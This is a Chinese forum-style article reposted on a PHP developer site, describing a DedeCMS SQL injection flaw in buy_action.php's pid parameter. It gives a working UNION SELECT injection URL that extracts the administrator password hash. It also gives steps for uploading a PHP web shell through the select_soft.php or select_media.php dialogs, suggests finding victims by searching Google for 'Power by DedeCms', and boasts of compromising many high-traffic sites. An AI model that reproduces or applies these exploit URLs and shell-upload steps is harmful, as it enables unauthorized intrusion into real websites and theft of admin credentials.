PHP程序员站--PHP编程开发平台
 当前位置:主页 >> PHP基础 >> 基础文章 >> 

dedecms最新注射漏洞

dedecms最新注射漏洞

来源:互联网  作者:未知  发布时间:2008-03-02
注释:先注册..输入地址后。要等一会刷新就可以看到

注释:先注册..输入地址后。要等一会刷新就可以看到密码了
作者不知道是谁

问题出现在buy_action.php
没有对pid传递进行足够的重视
导致出现SQL注射问题!
注册地址

/member/index_do.php?fmdo=user&dopost=regnew
爆管理员密码
/member/buy_action.php?product=member&pid=1%20and%201=11%20union%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

 

用很大。 如果你找不到可以利用的 那就是自己RP问题 
反正 我们是找到很多了,而且是流量比较大的站,很不错的站。

更正一下:
LZ发的代码因为这个.NET版本的论坛有问题所以没显示全 全部代码是:
暴管理员密码:


CODE:
/member/buy_action.php?product=member&pid=1%20and%201=11%20union
%20select%201,2,substring(pwd,9,16),4,5%20from%20%23@__admin/*

 

首先在

GOOGLE搜Power by DedeCms

先注册一个号,注册成功后
直接输入下面的
include/dialoguser/select_soft.php或者
include/dialoguser/select_media.php

然后上传一个PHP马,
先要改下后缀,改可以上传的就可以了,然后再改名的地址输入 木马名字.PHP

上传成功
直接访问
http://所在目录的路径/木马名字.php


一个SHELL就拿到了。

Tags: 漏洞   注射   问题   密码   上传   dedecms   dede   C   CMS   ECMS  
最新文章
推荐阅读
月点击排行榜
PHP程序员站 Copyright © 2007-2010,PHPERZ.COM All Rights Reserved 粤ICP备07503606号